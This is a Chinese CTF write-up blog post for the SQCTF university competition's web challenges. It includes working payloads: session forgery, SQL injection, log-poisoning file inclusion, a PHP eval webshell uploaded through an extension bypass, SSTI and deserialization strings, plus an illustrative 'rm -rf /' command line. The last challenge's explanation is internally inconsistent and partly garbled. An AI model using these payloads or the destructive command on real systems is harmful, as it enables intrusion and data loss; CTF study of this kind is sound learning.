sqctf-web 商丘师范学院第四届网络安全及信息对抗大赛

sqctf-web 商丘师范学院第四届网络安全及信息对抗大赛
FLYFISHRceMe(未完成)
ezGame
思路:
这题本来只是单纯的想玩一下游戏,失败的时候自动跳flag了,然后才到源码里仔细看
当游戏结束时,弹出提示框告知玩家游戏结束,然后向服务器发送一个包含当前游戏得分的 GET 请求,请求服务器端的 flag.php 脚本,最后将服务器返回的响应文本以警告框的形式显示给玩家。
1 | if (obj.isGameOver()) { |
但是这里我们不知道flag.php的内容是什么,所以访问一下flag,php,发现直接提示了分数不足!达到2048分即可活动flag,所以玩到2048就可以了
好吧,又尝试了一下,没到2048也会有提示(前端改不行)
伪装(未修改)
🔍 代码分析
1. 核心路由逻辑
/路由:1
2
3
4@app.route('/')
def index():
session['role'] = {'is_admin': 0, 'name': 'aiyamaya'} # 强制覆盖 session,设置普通用户权限
return open(__file__).read() # 直接泄露源代码,暴露 secret_key- 暴露密钥:访问
/会返回源码,导致secret_key = 'love'泄露。 - Session 覆盖:每次访问
/会重置role为普通用户,应避免在此阶段操作。
- 暴露密钥:访问
/admin路由:1
2
3
4
5@app.route('/admin')
def admin_handler():
role = session.get('role')
if role.get('is_admin') == 1 and role.get('name') == 'sjx':
return render_template_string("Oh, You get me! The flag is: %s" % os.popen("cat /flag").read())- 权限校验目标:只有
role={'is_admin': 1, 'name': 'sjx'}能触发 flag 返回。
- 权限校验目标:只有
🎯 攻击思路
利用 Flask Session 伪造漏洞
- 密钥泄露:通过访问
/得知secret_key = 'love'。 - 构造恶意 Session:生成包含
role={'is_admin': 1, 'name': 'sjx'}的合法 Cookie。 - 绕过权限检查:携带伪造的 Cookie 访问
/admin,触发 flag 逻辑。
Ping(未完成)
Are you from SQNU?(未完成)
Through
这里因为题目刷的不多,第一遍写的时候没有想起来是什么知识点。
第二次写注意到题目目录遍历,才反应过来
然后就用FUZZ一把梭了
Look for the homepage
Level1绕过:
- 利用条件
$pass2 === "welcome",设置GET参数pass2=welcome,其他参数pass1和verify可为任意值。
Level2绕过:
- 构造POST参数
value1和GET参数value3,使得$a['fly']等于md5($value3)。例如,选择value3=a,其MD5为0cc175b9c0f1b6a831c399e269772661,设置value1=fly=0cc175b9c0f1b6a831c399e269772661。
payload:http://challenge.qsnctf.com:31728/challenge.php/?pass1=1&pass2=welcome&verify=2&value3=a
value1=fly=0cc175b9c0f1b6a831c399e269772661
商师一日游
商师好好看,比我破大专好多了o(╥﹏╥)o
第一关
提示source,直接直接看源码
1 | <!--苦苦找寻, 在附近的草丛中发现的你的令牌, |
第二关
打开你的终端,构造一块fish牌的曲奇饼,上面刻下strong字样,便可获得强筋壮骨牌鱼食曲奇曲奇?Cookie! 根据提示查看Cookie,发现里面的fish=weak改成strong就可以了
1 | 旅行碎片2: d776 |
第三关
提示进入终端,在devtool中找到复活币
这里刚开始在源码和js里找(找错了)
devtools?是什么,刚开始不知道所以这里问ai了,刚刚搜了发现是开发工具
为什么用curl -V?
(以下是deepseek R1的理由)
复活币是服务器返回的隐藏数据,而非页面可见内容
它可能存在于:
- HTTP 响应头(如
X-Flag、X-Token等自定义头) - HTML 注释(开发者工具中可见但页面不渲染)
- JS/CSS 文件(代码中硬编码的字符串)
- 网络请求的元数据(如 Cookie、重定向路径)
- 操作路径的逻辑
根据提示的指引,解题流程应为:
1
打开开发者工具 → 定位网络请求 → 分析请求/响应 → 提取复活币
- HTTP 响应头(如
这里在html和js还有cookie都找过了,没有内容,所以才选择在http响应中寻找
curl -v 的 verbose 模式会显示 完整的 HTTP 交互过程,包括:
- 请求头 (Request Headers)
可确认是否携带了必要的参数或 Cookie - 响应头 (Response Headers)
直接暴露服务器返回的元数据(如复活币的位置) - 调试信息
例如 302 重定向路径、认证失败提示等
所以使用命令curl -v http://challenge.qsnctf.com:30868/atc3oklm.php
1 | 回显 |
第四关
借由终端,找到robots.txt,从而获得超强jumping power,拿到纸条
?jumping 姜萍!
这里根据提示查看robots.txt文件就行
1 | url:http://challenge.qsnctf.com:30868/robots.txt |
第五关
正则,大概吧。
1 | $a=$_GET['hhh']; |
绕过思路
根据上面的分析,我们需要第一个判断返回true,第二个判断返回false。
可以用php%0A(换行符的url编码)+任意内容,满足获得输出的条件
- 换行符注入
php%0A123、php%0D%0A123(Windows 换行)、php\n(直接写入)。 - 多行组合
abc%0Aphp%0Adef(第二行匹配php)。
我这里选了第一种?hhh=php%0A123
1 | 获得回显 |
第六关
?我怎么不点,不让我点
所以只要点击按钮就可以了,根据网页基础知识,可以去掉这里
<input disabled type="submit" value="Hidden Levels" name="auth" style=" height: 50px">的disabled就可以按按钮了
1 | 验证成功, 欢迎来到隐藏关卡: 继续前进 //点击这里 |
第七关
恭喜恭喜
这里直接post查看就行,考的是命令执行,直接看目录,再检查就行
memory=system('ls');
memory=system('tac Tourist_fragment7');
结束啦,恭喜恭喜,其他题目不会写了,先这样吧
小小查询系统
学了许久的sql注入终于碰到了
发现可以正常联合查询,那就联合查询,单引号闭合
这里有点思维惯性了,认为flag一定在当前库下面,所以一直查下去,发现没有。以为是自己搞错了,后来反应过来,可能在其他库下面。成功找到了ctf库,flag名,id,value列名,但是这里在查询数据的时候,显示flag库不存在,?why,,why,baby,why,思索许久,选择了询问恩师deepseek,才了解到,数据库查询数据是从当前数据库查的,如果当前数据库没有查询的表,那么就会回显,不存在flag库,所以最后查询是?id=-1' union select 1,2,(select group_concat(id,'~',value) from ctf.flag) %23 ,这题又学到了知识点,(^o^)/~
baby_include
这题wp参考了deepseek rensoner
漏洞分析
1. 漏洞类型
- 本地文件包含(LFI):题目代码中存在
include($look)操作,且参数look未严格限制协议和路径,导致可读取任意本地文件。 - 过滤不严:仅对
php、data、filter、input等关键词进行替换,未禁用file://协议或彻底限制文件范围。
2. 漏洞触发点
1 | include($look); // 直接包含用户输入的 $look 参数 |
- 用户通过
?look=xxx可控制包含的文件路径。 - 若包含的文件中存在 PHP 代码(如日志文件),会被解析执行。
3. 过滤规则缺陷
1 | // 替换关键词为 !!! |
- 仅替换部分协议关键词,未禁用
file://协议。 - 未对文件路径做白名单限制(如仅允许包含特定目录)。
思路
核心逻辑
- 目标:读取
/var/www/html/flag.php(Flag 文件)。 - 限制:无法直接使用
php://filter或data://协议读取文件源码。 - 替代方案
- 利用日志文件:通过
file://协议包含服务器日志文件(如 Nginx 的access.log)。 - 污染日志:注入 PHP 代码到日志中,使其成为可执行的“恶意文件”。
- 利用日志文件:通过
攻击步骤
- 污染日志:发送携带恶意
User-Agent的 HTTP 请求,将 PHP 代码写入日志。 - 触发执行:通过 LFI 包含日志文件,触发代码执行,读取 Flag。
绕过原理
1. 绕过协议过滤
过滤规则:
php、data、filter、input被替换为!!!。可用协议:
file://未被过滤,可直接使用。关键操作
1
curl "http://目标/?look=file:///var/log/nginx/access.log"
2. 日志文件作为 PHP 代码载体
日志记录机制:服务器会将请求头信息(如
User-Agent)记录到日志文件中。代码注入通过
User-Agent注入 PHP 代码:1
curl -A "<?php system('cat /flag'); ?>" http://目标
日志污染结果:
日志中会包含一行如下内容:
1
127.0.0.1 - - [时间戳] "GET / HTTP/1.1" 200 ... "<?php system('cat /flag'); ?>"
代码执行:当通过
include()包含日志文件时,其中的 PHP 代码会被解析执行。
3. 路径猜测依据
- 日志路径
- Nginx 默认日志路径:
/var/log/nginx/access.log。 - Apache 默认日志路径:
/var/log/apache2/access.log。 - CTF 题目通常使用默认路径。
- Nginx 默认日志路径:
- Flag 路径
- Web 根目录惯例:
/var/www/html。 - 常见 Flag 文件名:
flag.php、flag.txt、/flag。
- Web 根目录惯例:
绕过方案
1. 完整攻击流程
1 | # 步骤1:污染日志(注入 PHP 代码) |
input a number
此题目wp参考了deepseek reasoner
intval将变量转为整数:
- 对于字符串,会尝试提取开头的数字部分(忽略非数字字符)。
- 对于浮点数,直接取整数部分(向下取整)。
- 对于其他类型(如数组、对象),返回
0或1(PHP 8+ 会报错)
漏洞分析
intval()的进制解析:当intval()的第二个参数为0时,会根据字符串格式自动判断进制:- 以
0开头解析为 八进制(如0123)。 - 以
0x开头解析为 十六进制(如0x1abc)。 - 其他情况解析为 十进制。
- 以
- PHP松散比较(
==):不同类型比较时会尝试强制转换,例如字符串"114514a"会被转换为数字114514。
绕过方法
传递一个值,使得:
- 原始值不等于
114514(避免触发die())。 intval()转换后等于114514。
方法1:科学计数法
传入 114514e0:
- PHP会将
114514e0视为浮点数114514.0。 - 松散比较:
114514.0 == 114514→ 触发die()(失败)。
方法2:十六进制或八进制
传入 0x1BF82(十六进制)或 0337362(八进制):
- 两者十进制均为
114514,导致直接触发die()(失败)。
方法3:浮点数末尾非零
传入 114514.1:
- 松散比较:
114514.1 != 114514→ 不触发die()。 intval()转换:截断小数部分 →114514→ 满足条件。
Ez_calculate
思路
这个之前newstar碰到过,当时前端改了没有效果,所以这题惯性思维,直接脚本跑了(用ai改了一下之前的代码)结果返回了/flag这个路径,所以可以扫目录?
1 | mport requests |
My Blog
什么都没有,就找到一个登录账号密码,刚开始以为是注入,结果没有办法输进去
之后感觉,如果有登录账号密码,就一定有登录页面,于是选择了dirsearch扫一遍,结果刚好出来了,再用找到的账号密码登录
哎呀大大大黑塔
思路:
看了好几遍pv,pv里的数字尝试了好几遍
还是看到群里好兄弟提示说不在pv但是是视频,尝试了日期,评论区等最后bv号成功了。
进去之后是反序列化。
- 目标条件:
- 反序列化后的
Secret对象需满足:$this->key === "SQCTF" - 触发
__destruct()方法时会包含flag.php并输出flag
- 反序列化后的
解法:
payload如下
O:6:"Secret":1:{s:3:"key";s:5:"SQCTF";}
URL编码后:data=O%3A6%3A%22Secret%22%3A1%3A%7Bs%3A3%3A%22key%22%3Bs%3A5%3A%22SQCTF%22%3B%7D
唯一
思路
这题刚开始没什么思路,找了半天没想法。我的笔记:?冒号之后的内容没有办法显示,所以卡在这。然后也是和ai交流了一下,返回可以在笔记内容有输入,note=xx;
尝试了一下确实可以正常回显了
不过还是不能进行sql注入,那就试试ssti ?note={{7*7}},回显49,说明可以ssti。
那就feijing一把梭
解法:
Upload_Level1
恰好之前看过,再加上提示了马,所以就想到了文件上传一句话木马<?php @eval($_POST['cmd']);?>,不过这里限制了上传不能是php,只能是jpg….所以先改成jpg后缀,再用bp抓包,改成php发送,就可以用蚁剑连接了
Upload_Level2
这题感觉比1还简单,因为写了only images,所以就先上传了.jpg后缀,再用bp抓包,改成php后缀,成功上传,用蚁剑就可以了
baby rce
思路
pass1是sha1绕过,然后就调用函数了
学习了一下call_user_func()函数大概就是把输入的内容作为函数运行
call_user_func("system", "rm -rf /"); // 等同于 system("rm -rf /")
函数基本功能
call_user_func() 是 PHP 中的一个内置函数,用于动态调用用户自定义的函数或方法。其基本语法为:
1 | mixed call_user_func(callable $callback [, mixed $parameter [, mixed $... ]]) |
- 参数
$callback:要调用的函数名(字符串)或方法数组(如['Class', 'method'])。$parameter...:可选参数,传递给被调用函数的参数。
代码示例分析
用户提供的代码片段:
1 | call_user_func($_POST['payload']); |
- 行为解析
- 从 HTTP POST 请求中获取名为
payload的参数值。 - 将该值直接作为函数名调用,例如:
- 用户提交
payload=phpinfo→ 执行phpinfo()。 - 用户提交
payload=system→ 执行system()。
- 用户提交
- 从 HTTP POST 请求中获取名为
为什么用 :: 而不是 ->?
->用于实例化对象的非静态方法调用:
1
2$obj = new TYctf();
$obj->getKey(); // 调用对象实例的非静态方法::用于直接调用类的静态方法,无需创建对象实例,更简洁且适合攻击场景。
解法:
发送GET请求(绕过Level 1):
1
GET /?param1=aaroZmOk¶m2=aaK1STfY
响应会返回
Level 1 pass。发送POST请求(触发Level 2):
1
2
3POST / HTTP/1.1
...
param1=aaroZmOk¶m2=aaK1STfY&payload=TYctf::getKey
白月光
刚开始以为是sql注入,尝试许久没有反应。再尝试了49发现回显49,那就是ssti了。
直接feijing一把梭了
无参之舞(没写出来)
eeaassyy
思路:
乐,分数低自然是不难
刚开始点进去一片空白,想看源代码,但是右键和F12都被禁止了,那就用view-source:然后就出来了
逃
1 |
|
漏洞分析
过滤规则:
filter()函数会将flag和php替换为stop目标条件:反序列化后对象的
pswd属性值需为escaping类结构
1
2
3
4
5class test {
var $user = 'test';
var $pswd = 'sunshine';
function __construct($user) { $this->user = $user; }
}
绕过方案
步骤 1️⃣:生成基础 payload
生成一个 test 类的序列化字符串,将 pswd 设为 escaping:
1 | <?php |
输出:
1 | O:4:"test":2:{s:4:"user";s:6:"hacker";s:4:"pswd";s:8:"escaping";} |
步骤 2️⃣:绕过属性名过滤
由于 filter() 只替换值中的关键字(不影响属性名),直接使用原始 payload 即可。
最终 Payload
直接将生成的序列化字符串作为 GET 参数传递:
1 | http://target.com/?payload=O:4:"test":2:{s:4:"user";s:6:"hacker";s:4:"pswd";s:8:"escaping";} |
执行效果
服务端反序列化后对象属性:
1
2$profile->user = "hacker"
$profile->pswd = "escaping"满足
$profile->pswd == 'escaping'条件,输出 flag。
嘿嘿嘿
漏洞分析
关键代码段:
1 | // 反序列化入口 |
- 核心矛盾点
表面条件:需要满足
$data->content === "GET_FLAG"深层限制
1
$data->file
必须绕过两个过滤条件:
- 不能是数组:防止通过数组绕过MD5检测
- MD5值不能等于
md5("flag.php"):即$data->file的字符串值不能是flag.php - 不能包含
php://协议:防止直接使用协议流读取文件
攻击链构造
步骤 1️⃣:构建魔术方法链
1 | // 创建yyy对象,用于读取flag.php内容 |
步骤 2️⃣:序列化Payload
生成的序列化字符串:
1 | O:3:"hhh":2:{s:4:"file";O:3:"xxx":1:{s:4:"data";O:3:"yyy":2:{s:4:"path";s:8:"flag.php";s:7:"allowed";b:1;}}s:7:"content";s:8:"GET_FLAG";} |
绕过原理
- MD5动态计算绕过
- 触发时机当执行
md5($data->file)时:$data->file是xxx对象 → 触发xxx::__toString()xxx->data是yyy对象 → 触发yyy::__toString()yyy对象读取flag.php内容 → 返回文件内容字符串
- 实际计算值:
md5(flag.php文件内容) - 绕过条件:
md5(文件内容) ≠ md5("flag.php")(必然成立)
- 协议过滤绕过
- 不使用协议流:直接通过
yyy类读取文件路径flag.php - 文件存在检测:
file_exists($this->file)在hhh::__destruct()中触发,但此处通过魔术方法链已绕过
- 精确条件满足
content"GET_FLAG"1
2
3
属性直接设置为if ($data->content === "GET_FLAG") { echo "Flag: " . file_get_contents("flag.php"); // 直接输出flag }1
2
3
,触发核心逻辑:POST / HTTP/1.1 Host: challenge.qsnctf.com:30308 Content-Type: application/x-www-form-urlencoded data=O:3:"hhh":2:{s:4:"file";O:3:"xxx":1:{s:4:"data";O:3:"yyy":2:{s:4:"path";s:8:"flag.php";s:7:"allowed";b:1;}}s:7:"content";s:8:"GET_FLAG";}1
2
3
4
5
6
7
------
#### 攻击流程
1. **发送Payload**:POST /target.php HTTP/1.1 Host: example.com Content-Type: application/x-www-form-urlencoded data=O%3A8%3A%22stdClass%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A9%3A%22any_value%22%3Bs%3A7%3A%22content%22%3Bs%3A8%3A%22GET_FLAG%22%3B%7D1
2
3
直接发送以下数据(URL编码后):
服务端执行流程:
- 反序列化触发
hhh对象构造 - 检查
md5($data->file)时触发魔术方法链,实际计算flag.php内容的MD5 - 满足所有过滤条件后,执行
file_get_contents("flag.php")输出flag
- 反序列化触发
关键验证点
- 为什么不能直接用
stdClass?stdClass无法触发魔术方法链,file属性只能是静态字符串- 若设置
file = "flag.php"会触发MD5过滤;设置其他值则无法读取flag
- 为什么需要三层类嵌套?
hhh提供反序列化入口xxx桥接__toString()调用yyy实现最终文件读取操作





















